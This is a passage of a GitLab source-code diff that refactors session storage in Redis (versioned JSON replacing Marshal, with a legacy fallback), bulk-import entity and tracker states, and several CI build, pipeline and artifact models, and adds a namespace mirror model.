--- a/app/mailers/emails/projects.rb
+++ b/app/mailers/emails/projects.rb
@@ -59,6 +59,7 @@ module Emails
def prometheus_alert_fired_email(project, user, alert)
@project = project
@alert = alert.present
+ @incident = alert.issue
add_project_headers
add_alert_headers
@@ -80,11 +81,10 @@ module Emails
end
def add_incident_headers
- incident = @alert.issue
- return unless incident
+ return unless @incident
- headers['X-GitLab-Incident-ID'] = incident.id
- headers['X-GitLab-Incident-IID'] = incident.iid
+ headers['X-GitLab-Incident-ID'] = @incident.id
+ headers['X-GitLab-Incident-IID'] = @incident.iid
end
end
end
diff --git a/app/mailers/emails/releases.rb b/app/mailers/emails/releases.rb
index c9c77ab9333..4875abafe8d 100644
--- a/app/mailers/emails/releases.rb
+++ b/app/mailers/emails/releases.rb
@@ -9,11 +9,10 @@ module Emails
namespace_id: @project.namespace,
project_id: @project
)
-
- user = User.find(user_id)
+ @recipient = User.find(user_id)
mail(
- to: user.notification_email_for(@project.group),
+ to: @recipient.notification_email_for(@project.group),
subject: subject(release_email_subject)
)
end
diff --git a/app/models/active_session.rb b/app/models/active_session.rb
index a0e74c7f48e..0094d98fb73 100644
--- a/app/models/active_session.rb
+++ b/app/models/active_session.rb
@@ -4,7 +4,7 @@
#
# The raw session information is stored by the Rails session store
# (config/initializers/session_store.rb). These entries are accessible by the
-# rack_key_name class method and consistute the base of the session data
+# rack_key_name class method and constitute the base of the session data
# entries. All other entries in the session store can be traced back to these
# entries.
#
@@ -21,14 +21,24 @@
#
class ActiveSession
include ActiveModel::Model
+ include ::Gitlab::Redis::SessionsStoreHelper
SESSION_BATCH_SIZE = 200
ALLOWED_NUMBER_OF_ACTIVE_SESSIONS = 100
- attr_accessor :created_at, :updated_at,
- :ip_address, :browser, :os,
- :device_name, :device_type,
- :is_impersonated, :session_id, :session_private_id
+ attr_accessor :ip_address, :browser, :os,
+ :device_name, :device_type,
+ :is_impersonated, :session_id, :session_private_id
+
+ attr_reader :created_at, :updated_at
+
+ def created_at=(time)
+ @created_at = time.is_a?(String) ? Time.zone.parse(time) : time
+ end
+
+ def updated_at=(time)
+ @updated_at = time.is_a?(String) ? Time.zone.parse(time) : time
+ end
def current?(rack_session)
return false if session_private_id.nil? || rack_session.id.nil?
@@ -38,15 +48,29 @@ class ActiveSession
session_private_id == rack_session.id.private_id
end
+ def eql?(other)
+ other.is_a?(self.class) && id == other.id
+ end
+ alias_method :==, :eql?
+
+ def id
+ session_private_id.presence || session_id
+ end
+
+ def ids
+ [session_private_id, session_id].compact
+ end
+
def human_device_type
device_type&.titleize
end
def self.set(user, request)
- Gitlab::Redis::SharedState.with do |redis|
+ redis_store_class.with do |redis|
session_private_id = request.session.id.private_id
client = DeviceDetector.new(request.user_agent)
timestamp = Time.current
+ expiry = Settings.gitlab['session_expire_delay'] * 60
active_user_session = new(
ip_address: request.remote_ip,
@@ -63,7 +87,14 @@ class ActiveSession
redis.pipelined do
redis.setex(
key_name(user.id, session_private_id),
- Settings.gitlab['session_expire_delay'] * 60,
+ expiry,
+ active_user_session.dump
+ )
+
+ # Deprecated legacy format - temporary to support mixed deployments
+ redis.setex(
+ key_name_v1(user.id, session_private_id),
+ expiry,
Marshal.dump(active_user_session)
)
@@ -76,7 +107,7 @@ class ActiveSession
end
def self.list(user)
- Gitlab::Redis::SharedState.with do |redis|
+ redis_store_class.with do |redis|
cleaned_up_lookup_entries(redis, user).map do |raw_session|
load_raw_session(raw_session)
end
@@ -84,14 +115,17 @@ class ActiveSession
end
def self.cleanup(user)
- Gitlab::Redis::SharedState.with do |redis|
+ redis_store_class.with do |redis|
clean_up_old_sessions(redis, user)
cleaned_up_lookup_entries(redis, user)
end
end
def self.destroy_sessions(redis, user, session_ids)
+ return if session_ids.empty?
+
key_names = session_ids.map { |session_id| key_name(user.id, session_id) }
+ key_names += session_ids.map { |session_id| key_name_v1(user.id, session_id) }
redis.srem(lookup_key_name(user.id), session_ids)
@@ -104,7 +138,7 @@ class ActiveSession
def self.destroy_session(user, session_id)
return unless session_id
- Gitlab::Redis::SharedState.with do |redis|
+ redis_store_class.with do |redis|
destroy_sessions(redis, user, [session_id].compact)
end
end
@@ -113,26 +147,31 @@ class ActiveSession
sessions = not_impersonated(user)
sessions.reject! { |session| session.current?(current_rack_session) } if current_rack_session
- Gitlab::Redis::SharedState.with do |redis|
- session_ids = (sessions.map(&:session_id) | sessions.map(&:session_private_id)).compact
+ redis_store_class.with do |redis|
+ session_ids = sessions.flat_map(&:ids)
destroy_sessions(redis, user, session_ids) if session_ids.any?
end
end
- def self.not_impersonated(user)
+ private_class_method def self.not_impersonated(user)
list(user).reject(&:is_impersonated)
end
- def self.rack_key_name(session_id)
- "#{Gitlab::Redis::SharedState::SESSION_NAMESPACE}:#{session_id}"
+ private_class_method def self.rack_key_name(session_id)
+ "#{Gitlab::Redis::Sessions::SESSION_NAMESPACE}:#{session_id}"
end
def self.key_name(user_id, session_id = '*')
- "#{Gitlab::Redis::SharedState::USER_SESSIONS_NAMESPACE}:#{user_id}:#{session_id}"
+ "#{Gitlab::Redis::Sessions::USER_SESSIONS_NAMESPACE}::v2:#{user_id}:#{session_id}"
+ end
+
+ # Deprecated
+ def self.key_name_v1(user_id, session_id = '*')
+ "#{Gitlab::Redis::Sessions::USER_SESSIONS_NAMESPACE}:#{user_id}:#{session_id}"
end
def self.lookup_key_name(user_id)
- "#{Gitlab::Redis::SharedState::USER_SESSIONS_LOOKUP_NAMESPACE}:#{user_id}"
+ "#{Gitlab::Redis::Sessions::USER_SESSIONS_LOOKUP_NAMESPACE}:#{user_id}"
end
def self.list_sessions(user)
@@ -143,7 +182,7 @@ class ActiveSession
#
# Returns an array of strings
def self.session_ids_for_user(user_id)
- Gitlab::Redis::SharedState.with do |redis|
+ redis_store_class.with do |redis|
redis.smembers(lookup_key_name(user_id))
end
end
@@ -156,7 +195,7 @@ class ActiveSession
def self.sessions_from_ids(session_ids)
return [] if session_ids.empty?
- Gitlab::Redis::SharedState.with do |redis|
+ redis_store_class.with do |redis|
session_keys = rack_session_keys(session_ids)
session_keys.each_slice(SESSION_BATCH_SIZE).flat_map do |session_keys_batch|
@@ -169,71 +208,102 @@ class ActiveSession
end
end
- # Deserializes a session Hash object from Redis.
- #
+ def dump
+ "v2:#{Gitlab::Json.dump(self)}"
+ end
+
+ # Private:
+
# raw_session - Raw bytes from Redis
#
- # Returns an ActiveSession object
- def self.load_raw_session(raw_session)
- # rubocop:disable Security/MarshalLoad
- Marshal.load(raw_session)
- # rubocop:enable Security/MarshalLoad
+ # Returns an instance of this class
+ private_class_method def self.load_raw_session(raw_session)
+ return unless raw_session
+
+ if raw_session.start_with?('v2:')
+ session_data = Gitlab::Json.parse(raw_session[3..]).symbolize_keys
+ new(**session_data)
+ else
+ # Deprecated legacy format. To be removed in 15.0
+ # See: https://gitlab.com/gitlab-org/gitlab/-/issues/30516
+ # Explanation of why this Marshal.load call is OK:
+ # https://gitlab.com/gitlab-com/gl-security/appsec/appsec-reviews/-/issues/124#note_744576714
+ # rubocop:disable Security/MarshalLoad
+ Marshal.load(raw_session)
+ # rubocop:enable Security/MarshalLoad
+ end
end
- def self.rack_session_keys(rack_session_ids)
- rack_session_ids.map { |session_id| rack_key_name(session_id)}
+ private_class_method def self.rack_session_keys(rack_session_ids)
+ rack_session_ids.map { |session_id| rack_key_name(session_id) }
end
- def self.raw_active_session_entries(redis, session_ids, user_id)
- return [] if session_ids.empty?
+ private_class_method def self.raw_active_session_entries(redis, session_ids, user_id)
+ return {} if session_ids.empty?
+
+ found = Gitlab::Instrumentation::RedisClusterValidator.allow_cross_slot_commands do
+ entry_keys = session_ids.map { |session_id| key_name(user_id, session_id) }
+ session_ids.zip(redis.mget(entry_keys)).to_h
+ end
- entry_keys = session_ids.map { |session_id| key_name(user_id, session_id) }
+ found.compact!
+ missing = session_ids - found.keys
+ return found if missing.empty?
- Gitlab::Instrumentation::RedisClusterValidator.allow_cross_slot_commands do
- redis.mget(entry_keys)
+ fallbacks = Gitlab::Instrumentation::RedisClusterValidator.allow_cross_slot_commands do
+ entry_keys = missing.map { |session_id| key_name_v1(user_id, session_id) }
+ missing.zip(redis.mget(entry_keys)).to_h
end
+
+ fallbacks.merge(found.compact)
end
- def self.active_session_entries(session_ids, user_id, redis)
+ private_class_method def self.active_session_entries(session_ids, user_id, redis)
return [] if session_ids.empty?
- entry_keys = raw_active_session_entries(redis, session_ids, user_id)
-
- entry_keys.compact.map do |raw_session|
- load_raw_session(raw_session)
- end
+ raw_active_session_entries(redis, session_ids, user_id)
+ .values
+ .compact
+ .map { load_raw_session(_1) }
end
- def self.clean_up_old_sessions(redis, user)
+ private_class_method def self.clean_up_old_sessions(redis, user)
session_ids = session_ids_for_user(user.id)
return if session_ids.count <= ALLOWED_NUMBER_OF_ACTIVE_SESSIONS
- # remove sessions if there are more than ALLOWED_NUMBER_OF_ACTIVE_SESSIONS.
sessions = active_session_entries(session_ids, user.id, redis)
- sessions.sort_by! {|session| session.updated_at }.reverse!
- destroyable_sessions = sessions.drop(ALLOWED_NUMBER_OF_ACTIVE_SESSIONS)
- destroyable_session_ids = destroyable_sessions.flat_map { |session| [session.session_id, session.session_private_id] }.compact
- destroy_sessions(redis, user, destroyable_session_ids) if destroyable_session_ids.any?
+ sessions.sort_by!(&:updated_at).reverse!
+
+ # remove sessions if there are more than ALLOWED_NUMBER_OF_ACTIVE_SESSIONS.
+ destroyable_session_ids = sessions
+ .drop(ALLOWED_NUMBER_OF_ACTIVE_SESSIONS)
+ .flat_map(&:ids)
+
+ destroy_sessions(redis, user, destroyable_session_ids)
end
# Cleans up the lookup set by removing any session IDs that are no longer present.
#
# Returns an array of marshalled ActiveModel objects that are still active.
- def self.cleaned_up_lookup_entries(redis, user)
+ # Records removed keys in the optional `removed` argument array.
+ def self.cleaned_up_lookup_entries(redis, user, removed = [])
+ lookup_key = lookup_key_name(user.id)
session_ids = session_ids_for_user(user.id)
- entries = raw_active_session_entries(redis, session_ids, user.id)
+ session_ids_and_entries = raw_active_session_entries(redis, session_ids, user.id)
# remove expired keys.
# only the single key entries are automatically expired by redis, the
# lookup entries in the set need to be removed manually.
- session_ids_and_entries = session_ids.zip(entries)
- redis.pipelined do
- session_ids_and_entries.reject { |_session_id, entry| entry }.each do |session_id, _entry|
- redis.srem(lookup_key_name(user.id), session_id)
+ redis.pipelined do |pipeline|
+ session_ids_and_entries.each do |session_id, entry|
+ next if entry
+
+ pipeline.srem(lookup_key, session_id)
+ removed << session_id
end
end
- entries.compact
+ session_ids_and_entries.values.compact
end
end
diff --git a/app/models/analytics/cycle_analytics/project_stage.rb b/app/models/analytics/cycle_analytics/project_stage.rb
index e8b03fa066a..8d3a032812e 100644
--- a/app/models/analytics/cycle_analytics/project_stage.rb
+++ b/app/models/analytics/cycle_analytics/project_stage.rb
@@ -26,6 +26,12 @@ module Analytics
:project_id
end
+ def self.distinct_stages_within_hierarchy(group)
+ with_preloaded_labels
+ .where(project_id: group.all_projects.select(:id))
+ .select("DISTINCT ON(stage_event_hash_id) #{quoted_table_name}.*")
+ end
+
private
# Project should belong to a group when the stage has Label based events since only GroupLabels are allowed.
diff --git a/app/models/application_record.rb b/app/models/application_record.rb
index bcd8bdd6638..b64e6c59817 100644
--- a/app/models/application_record.rb
+++ b/app/models/application_record.rb
@@ -7,6 +7,10 @@ class ApplicationRecord < ActiveRecord::Base
self.abstract_class = true
+ # We should avoid using pluck https://docs.gitlab.com/ee/development/sql.html#plucking-ids
+ # but, if we are going to use it, let's try and limit the number of records
+ MAX_PLUCK = 1_000
+
alias_method :reset, :reload
def self.without_order
diff --git a/app/models/application_setting.rb b/app/models/application_setting.rb
index af5796d682f..65472615f42 100644
--- a/app/models/application_setting.rb
+++ b/app/models/application_setting.rb
@@ -21,7 +21,7 @@ class ApplicationSetting < ApplicationRecord
add_authentication_token_field :runners_registration_token, encrypted: -> { Feature.enabled?(:application_settings_tokens_optional_encryption) ? :optional : :required }
add_authentication_token_field :health_check_access_token
- add_authentication_token_field :static_objects_external_storage_auth_token
+ add_authentication_token_field :static_objects_external_storage_auth_token, encrypted: :optional
belongs_to :self_monitoring_project, class_name: "Project", foreign_key: 'instance_administration_project_id'
belongs_to :push_rule
@@ -144,10 +144,6 @@ class ApplicationSetting < ApplicationRecord
length: { maximum: 2000, message: _('is too long (maximum is %{count} characters)') },
allow_blank: true
- validates :spam_check_api_key,
- presence: true,
- if: :spam_check_endpoint_enabled
-
validates :unique_ips_limit_per_user,
numericality: { greater_than_or_equal_to: 1 },
presence: true,
@@ -410,7 +406,7 @@ class ApplicationSetting < ApplicationRecord
if: :external_authorization_service_enabled
validates :spam_check_endpoint_url,
- addressable_url: { schemes: %w(grpc) }, allow_blank: true
+ addressable_url: { schemes: %w(tls grpc) }, allow_blank: true
validates :spam_check_endpoint_url,
presence: true,
diff --git a/app/models/application_setting_implementation.rb b/app/models/application_setting_implementation.rb
index 54ec8b2c3e4..5e20aac3b92 100644
--- a/app/models/application_setting_implementation.rb
+++ b/app/models/application_setting_implementation.rb
@@ -363,6 +363,14 @@ module ApplicationSettingImplementation
super(levels&.map { |level| Gitlab::VisibilityLevel.level_value(level) })
end
+ def static_objects_external_storage_auth_token=(token)
+ if token.present?
+ set_static_objects_external_storage_auth_token(token)
+ else
+ self.static_objects_external_storage_auth_token_encrypted = nil
+ end
+ end
+
def performance_bar_allowed_group
Group.find_by_id(performance_bar_allowed_group_id)
end
diff --git a/app/models/bulk_imports/entity.rb b/app/models/bulk_imports/entity.rb
index 2368be6196c..38b7da76306 100644
--- a/app/models/bulk_imports/entity.rb
+++ b/app/models/bulk_imports/entity.rb
@@ -20,8 +20,6 @@
class BulkImports::Entity < ApplicationRecord
self.table_name = 'bulk_import_entities'
- EXPORT_RELATIONS_URL = '/%{resource}/%{full_path}/export_relations'
-
belongs_to :bulk_import, optional: false
belongs_to :parent, class_name: 'BulkImports::Entity', optional: true
@@ -104,18 +102,42 @@ class BulkImports::Entity < ApplicationRecord
end
end
+ def entity_type
+ source_type.gsub('_entity', '')
+ end
+
def pluralized_name
- source_type.gsub('_entity', '').pluralize
+ entity_type.pluralize
+ end
+
+ def base_resource_url_path
+ "/#{pluralized_name}/#{encoded_source_full_path}"
end
def export_relations_url_path
- @export_relations_url_path ||= EXPORT_RELATIONS_URL % { resource: pluralized_name, full_path: encoded_source_full_path }
+ "#{base_resource_url_path}/export_relations"
end
def relation_download_url_path(relation)
"#{export_relations_url_path}/download?relation=#{relation}"
end
+ def wikis_url_path
+ "#{base_resource_url_path}/wikis"
+ end
+
+ def project?
+ source_type == 'project_entity'
+ end
+
+ def group?
+ source_type == 'group_entity'
+ end
+
+ def update_service
+ "::#{pluralized_name.capitalize}::UpdateService".constantize
+ end
+
private
def validate_parent_is_a_group
diff --git a/app/models/bulk_imports/file_transfer/base_config.rb b/app/models/bulk_imports/file_transfer/base_config.rb
index 4d370315ad5..036d511bc59 100644
--- a/app/models/bulk_imports/file_transfer/base_config.rb
+++ b/app/models/bulk_imports/file_transfer/base_config.rb
@@ -5,6 +5,9 @@ module BulkImports
class BaseConfig
include Gitlab::Utils::StrongMemoize
+ UPLOADS_RELATION = 'uploads'
+ SELF_RELATION = 'self'
+
def initialize(portable)
@portable = portable
end
@@ -26,7 +29,11 @@ module BulkImports
end
def portable_relations
- tree_relations + file_relations - skipped_relations
+ tree_relations + file_relations + self_relation - skipped_relations
+ end
+
+ def self_relation?(relation)
+ relation == SELF_RELATION
end
def tree_relation?(relation)
@@ -43,6 +50,10 @@ module BulkImports
portable_tree[:include].find { |include| include[relation.to_sym] }
end
+ def portable_relations_tree
+ @portable_relations_tree ||= attributes_finder.find_relations_tree(portable_class_sym).deep_stringify_keys
+ end
+
private
attr_reader :portable
@@ -65,10 +76,6 @@ module BulkImports
@portable_class_sym ||= portable_class.to_s.demodulize.underscore.to_sym
end
- def portable_relations_tree
- @portable_relations_tree ||= attributes_finder.find_relations_tree(portable_class_sym).deep_stringify_keys
- end
-
def import_export_yaml
raise NotImplementedError
end
@@ -78,12 +85,16 @@ module BulkImports
end
def file_relations
- []
+ [UPLOADS_RELATION]
end
def skipped_relations
[]
end
+
+ def self_relation
+ [SELF_RELATION]
+ end
end
end
end
diff --git a/app/models/bulk_imports/file_transfer/project_config.rb b/app/models/bulk_imports/file_transfer/project_config.rb
index 9a0434da08a..fdfb0dd0186 100644
--- a/app/models/bulk_imports/file_transfer/project_config.rb
+++ b/app/models/bulk_imports/file_transfer/project_config.rb
@@ -3,8 +3,6 @@
module BulkImports
module FileTransfer
class ProjectConfig < BaseConfig
- UPLOADS_RELATION = 'uploads'
-
SKIPPED_RELATIONS = %w(
project_members
group_members
@@ -14,10 +12,6 @@ module BulkImports
::Gitlab::ImportExport.config_file
end
- def file_relations
- [UPLOADS_RELATION]
- end
-
def skipped_relations
SKIPPED_RELATIONS
end
diff --git a/app/models/bulk_imports/tracker.rb b/app/models/bulk_imports/tracker.rb
index 9de3239ee0f..cfe33c013ba 100644
--- a/app/models/bulk_imports/tracker.rb
+++ b/app/models/bulk_imports/tracker.rb
@@ -29,7 +29,7 @@ class BulkImports::Tracker < ApplicationRecord
def self.stage_running?(entity_id, stage)
where(stage: stage, bulk_import_entity_id: entity_id)
- .with_status(:created, :started)
+ .with_status(:created, :enqueued, :started)
.exists?
end
@@ -45,15 +45,24 @@ class BulkImports::Tracker < ApplicationRecord
state :created, value: 0
state :started, value: 1
state :finished, value: 2
+ state :enqueued, value: 3
state :failed, value: -1
state :skipped, value: -2
event :start do
- transition created: :started
+ transition enqueued: :started
# To avoid errors when re-starting a pipeline in case of network errors
transition started: :started
end
+ event :retry do
+ transition started: :enqueued
+ end
+
+ event :enqueue do
+ transition created: :enqueued
+ end
+
event :finish do
transition started: :finished
transition failed: :failed
diff --git a/app/models/chat_name.rb b/app/models/chat_name.rb
index da7312df18b..ff3f2663b73 100644
--- a/app/models/chat_name.rb
+++ b/app/models/chat_name.rb
@@ -1,8 +1,6 @@
# frozen_string_literal: true
class ChatName < ApplicationRecord
- include LooseForeignKey
-
LAST_USED_AT_INTERVAL = 1.hour
belongs_to :integration, foreign_key: :service_id
@@ -16,8 +14,6 @@ class ChatName < ApplicationRecord
validates :user_id, uniqueness: { scope: [:service_id] }
validates :chat_id, uniqueness: { scope: [:service_id, :team_id] }
- loose_foreign_key :ci_pipeline_chat_data, :chat_name_id, on_delete: :async_delete
-
# Updates the "last_used_timestamp" but only if it wasn't already updated
# recently.
#
diff --git a/app/models/ci/build.rb b/app/models/ci/build.rb
index 3fdc44bccf3..428e440afba 100644
--- a/app/models/ci/build.rb
+++ b/app/models/ci/build.rb
@@ -10,6 +10,7 @@ module Ci
include Presentable
include Importable
include Ci::HasRef
+ extend ::Gitlab::Utils::Override
BuildArchivedError = Class.new(StandardError)
@@ -58,7 +59,7 @@ module Ci
has_one :runner_session, class_name: 'Ci::BuildRunnerSession', validate: true, inverse_of: :build
has_one :trace_metadata, class_name: 'Ci::BuildTraceMetadata', inverse_of: :build
- has_many :terraform_state_versions, class_name: 'Terraform::StateVersion', dependent: :nullify, inverse_of: :build, foreign_key: :ci_build_id # rubocop:disable Cop/ActiveRecordDependent
+ has_many :terraform_state_versions, class_name: 'Terraform::StateVersion', inverse_of: :build, foreign_key: :ci_build_id
accepts_nested_attributes_for :runner_session, update_only: true
accepts_nested_attributes_for :job_variables
@@ -164,6 +165,7 @@ module Ci
scope :with_artifacts_not_expired, -> { with_downloadable_artifacts.where('artifacts_expire_at IS NULL OR artifacts_expire_at > ?', Time.current) }
scope :with_expired_artifacts, -> { with_downloadable_artifacts.where('artifacts_expire_at < ?', Time.current) }
+ scope :with_pipeline_locked_artifacts, -> { joins(:pipeline).where('pipeline.locked': Ci::Pipeline.lockeds[:artifacts_locked]) }
scope :last_month, -> { where('created_at > ?', Date.today - 1.month) }
scope :manual_actions, -> { where(when: :manual, status: COMPLETED_STATUSES + %i[manual]) }
scope :scheduled_actions, -> { where(when: :delayed, status: COMPLETED_STATUSES + %i[scheduled]) }
@@ -188,8 +190,6 @@ module Ci
scope :without_coverage, -> { where(coverage: nil) }
scope :with_coverage_regex, -> { where.not(coverage_regex: nil) }
- scope :for_project, -> (project_id) { where(project_id: project_id) }
-
acts_as_taggable
add_authentication_token_field :token, encrypted: :required
@@ -286,6 +286,7 @@ module Ci
build.run_after_commit do
BuildQueueWorker.perform_async(id)
+ BuildHooksWorker.perform_async(id)
end
end
@@ -451,7 +452,7 @@ module Ci
end
def retryable?
- return false if retried? || archived?
+ return false if retried? || archived? || deployment_rejected?
success? || failed? || canceled?
end
@@ -722,6 +723,14 @@ module Ci
self.token && ActiveSupport::SecurityUtils.secure_compare(token, self.token)
end
+ # acts_as_taggable uses this method create/remove tags with contexts
+ # defined by taggings and to get those contexts it executes a query.
+ # We don't use any other contexts except `tags`, so we don't need it.
+ override :custom_contexts
+ def custom_contexts
+ []
+ end
+
def tag_list
if tags.loaded?
tags.map(&:name)
@@ -1074,6 +1083,16 @@ module Ci
runner&.instance_type?
end
+ def job_variables_attributes
+ strong_memoize(:job_variables_attributes) do
+ job_variables.internal_source.map do |variable|
+ variable.attributes.except('id', 'job_id', 'encrypted_value', 'encrypted_value_iv').tap do |attrs|
+ attrs[:value] = variable.value
+ end
+ end
+ end
+ end
+
protected
def run_status_commit_hooks!
diff --git a/app/models/ci/job_artifact.rb b/app/models/ci/job_artifact.rb
index ec1137920ef..e6dd62fab34 100644
--- a/app/models/ci/job_artifact.rb
+++ b/app/models/ci/job_artifact.rb
@@ -2,6 +2,7 @@
module Ci
class JobArtifact < Ci::ApplicationRecord
+ include IgnorableColumns
include AfterCommitQueue
include ObjectStorage::BackgroundMove
include UpdateProjectStatistics
@@ -120,6 +121,9 @@ module Ci
belongs_to :project
belongs_to :job, class_name: "Ci::Build", foreign_key: :job_id
+ # We will start using this column once we complete https://gitlab.com/gitlab-org/gitlab/-/issues/285597
+ ignore_column :original_filename, remove_with: '14.7', remove_after: '2022-11-22'
+
mount_file_store_uploader JobArtifactUploader
skip_callback :save, :after, :store_file!, if: :store_after_commit?
@@ -133,6 +137,7 @@ module Ci
scope :not_expired, -> { where('expire_at IS NULL OR expire_at > ?', Time.current) }
scope :for_sha, ->(sha, project_id) { joins(job: :pipeline).where(ci_pipelines: { sha: sha, project_id: project_id }) }
+ scope :for_job_ids, ->(job_ids) { where(job_id: job_ids) }
scope :for_job_name, ->(name) { joins(:job).where(ci_builds: { name: name }) }
scope :with_job, -> { joins(:job).includes(:job) }
@@ -266,6 +271,10 @@ module Ci
self.where(project: project).sum(:size)
end
+ def self.distinct_job_ids
+ distinct.pluck(:job_id)
+ end
+
##
# FastDestroyAll concerns
# rubocop: disable CodeReuse/ServiceClass
diff --git a/app/models/ci/namespace_mirror.rb b/app/models/ci/namespace_mirror.rb
new file mode 100644
index 00000000000..8a4be3139e8
--- /dev/null
+++ b/app/models/ci/namespace_mirror.rb
@@ -0,0 +1,37 @@
+# frozen_string_literal: true
+
+module Ci
+ # This model represents a record in a shadow table of the main database's namespaces table.
+ # It allows us to navigate the namespace hierarchy on the ci database without resorting to a JOIN.
+ class NamespaceMirror < ApplicationRecord
+ belongs_to :namespace
+
+ scope :contains_namespace, -> (id) do
+ where('traversal_ids @> ARRAY[?]::int[]', id)
+ end
+
+ class << self
+ def sync!(event)
+ namespace = event.namespace
+ traversal_ids = namespace.self_and_ancestor_ids(hierarchy_order: :desc)
+
+ upsert({ namespace_id: event.namespace_id, traversal_ids: traversal_ids },
+ unique_by: :namespace_id)
+
+ # It won't be necessary once we remove `sync_traversal_ids`.
+ # More info: https://gitlab.com/gitlab-org/gitlab/-/issues/347541
+ sync_children_namespaces!(event.namespace_id, traversal_ids)
+ end
+
+ private
+
+ def sync_children_namespaces!(namespace_id, traversal_ids)
+ contains_namespace(namespace_id)
+ .where.not(namespace_id: namespace_id)
+ .update_all(
+ "traversal_ids = ARRAY[#{sanitize_sql(traversal_ids.join(','))}]::int[] || traversal_ids[array_position(traversal_ids, #{sanitize_sql(namespace_id)}) + 1:]"
+ )
+ end
+ end
+ end
+end
diff --git a/app/models/ci/pending_build.rb b/app/models/ci/pending_build.rb
index ccad6290fac..41dc74ef050 100644
--- a/app/models/ci/pending_build.rb
+++ b/app/models/ci/pending_build.rb
@@ -30,6 +30,10 @@ module Ci
self.upsert(entry.attributes.compact, returning: %w[build_id], unique_by: :build_id)
end
+ def maintain_denormalized_data?
+ ::Feature.enabled?(:ci_pending_builds_maintain_denormalized_data, default_enabled: :yaml)
+ end
+
private
def args_from_build(build)
@@ -42,15 +46,9 @@ module Ci
namespace: project.namespace
}
- if Feature.enabled?(:ci_pending_builds_maintain_tags_data, type: :development, default_enabled: :yaml)
+ if maintain_denormalized_data?
args.store(:tag_ids, build.tags_ids)
- end
-
- if Feature.enabled?(:ci_pending_builds_maintain_shared_runners_data, type: :development, default_enabled: :yaml)
args.store(:instance_runners_enabled, shared_runners_enabled?(project))
- end
-
- if Feature.enabled?(:ci_pending_builds_maintain_namespace_traversal_ids, type: :development, default_enabled: :yaml)
args.store(:namespace_traversal_ids, project.namespace.traversal_ids) if group_runners_enabled?(project)
end
diff --git a/app/models/ci/pipeline.rb b/app/models/ci/pipeline.rb
index a29aa756e38..a90bd739741 100644
--- a/app/models/ci/pipeline.rb
+++ b/app/models/ci/pipeline.rb
@@ -63,6 +63,7 @@ module Ci
has_many :statuses, class_name: 'CommitStatus', foreign_key: :commit_id, inverse_of: :pipeline
has_many :latest_statuses_ordered_by_stage, -> { latest.order(:stage_idx, :stage) }, class_name: 'CommitStatus', foreign_key: :commit_id, inverse_of: :pipeline
has_many :latest_statuses, -> { latest }, class_name: 'CommitStatus', foreign_key: :commit_id, inverse_of: :pipeline
+ has_many :statuses_order_id_desc, -> { order_id_desc }, class_name: 'CommitStatus', foreign_key: :commit_id
has_many :processables, class_name: 'Ci::Processable', foreign_key: :commit_id, inverse_of: :pipeline
has_many :bridges, class_name: 'Ci::Bridge', foreign_key: :commit_id, inverse_of: :pipeline
has_many :builds, foreign_key: :commit_id, inverse_of: :pipeline
@@ -82,8 +83,6 @@ module Ci
# Merge requests for which the current pipeline is running against
# the merge request's latest commit.
has_many :merge_requests_as_head_pipeline, foreign_key: "head_pipeline_id", class_name: 'MergeRequest'
- has_many :package_build_infos, class_name: 'Packages::BuildInfo', dependent: :nullify, inverse_of: :pipeline # rubocop:disable Cop/ActiveRecordDependent
- has_many :package_file_build_infos, class_name: 'Packages::PackageFileBuildInfo', dependent: :nullify, inverse_of: :pipeline # rubocop:disable Cop/ActiveRecordDependent
has_many :pending_builds, -> { pending }, foreign_key: :commit_id, class_name: 'Ci::Build', inverse_of: :pipeline
has_many :failed_builds, -> { latest.failed }, foreign_key: :commit_id, class_name: 'Ci::Build', inverse_of: :pipeline
has_many :retryable_builds, -> { latest.failed_or_canceled.includes(:project) }, foreign_key: :commit_id, class_name: 'Ci::Build', inverse_of: :pipeline
@@ -236,7 +235,18 @@ module Ci
pipeline.run_after_commit do
PipelineHooksWorker.perform_async(pipeline.id)
- ExpirePipelineCacheWorker.perform_async(pipeline.id)
+
+ if pipeline.project.jira_subscription_exists?
+ # Passing the seq-id ensures this is idempotent
+ seq_id = ::Atlassian::JiraConnect::Client.generate_update_sequence_id
+ ::JiraConnect::SyncBuildsWorker.perform_async(pipeline.id, seq_id)
+ end
+
+ if Feature.enabled?(:expire_job_and_pipeline_cache_synchronously, pipeline.project, default_enabled: :yaml)
+ Ci::ExpirePipelineCacheService.new.execute(pipeline) # rubocop: disable CodeReuse/ServiceClass
+ else
+ ExpirePipelineCacheWorker.perform_async(pipeline.id)
+ end
end
end
@@ -271,14 +281,6 @@ module Ci
end
end
- after_transition any => any do |pipeline|
- pipeline.run_after_commit do
- # Passing the seq-id ensures this is idempotent
- seq_id = ::Atlassian::JiraConnect::Client.generate_update_sequence_id
- ::JiraConnect::SyncBuildsWorker.perform_async(pipeline.id, seq_id)
- end
- end
-
after_transition any => ::Ci::Pipeline.completed_statuses do |pipeline|
pipeline.run_after_commit do
::Ci::TestFailureHistoryService.new(pipeline).async.perform_if_needed # rubocop: disable CodeReuse/ServiceClass
@@ -643,7 +645,7 @@ module Ci
def coverage
coverage_array = latest_statuses.map(&:coverage).compact
if coverage_array.size >= 1
- '%.2f' % (coverage_array.reduce(:+) / coverage_array.size)
+ coverage_array.reduce(:+) / coverage_array.size
end
end
@@ -947,22 +949,16 @@ module Ci
end
def environments_in_self_and_descendants
- if ::Feature.enabled?(:avoid_cross_joins_environments_in_self_and_descendants, default_enabled: :yaml)
- # We limit to 100 unique environments for application safety.
- # See: https://gitlab.com/gitlab-org/gitlab/-/issues/340781#note_699114700
- expanded_environment_names =
- builds_in_self_and_descendants.joins(:metadata)
- .where.not('ci_builds_metadata.expanded_environment_name' => nil)
- .distinct('ci_builds_metadata.expanded_environment_name')
- .limit(100)
- .pluck(:expanded_environment_name)
-
- Environment.where(project: project, name: expanded_environment_names)
- else
- environment_ids = self_and_descendants.joins(:deployments).select(:'deployments.environment_id')
+ # We limit to 100 unique environments for application safety.
+ # See: https://gitlab.com/gitlab-org/gitlab/-/issues/340781#note_699114700
+ expanded_environment_names =
+ builds_in_self_and_descendants.joins(:metadata)
+ .where.not('ci_builds_metadata.expanded_environment_name' => nil)
+ .distinct('ci_builds_metadata.expanded_environment_name')
+ .limit(100)
+ .pluck(:expanded_environment_name)
- Environment.where(id: environment_ids)
- end
+ Environment.where(project: project, name: expanded_environment_names).with_deployment(sha)
end
# With multi-project and parent-child pipelines
@@ -1276,18 +1272,18 @@ module Ci
self.builds.latest.build_matchers(project)
end
- def predefined_vars_in_builder_enabled?
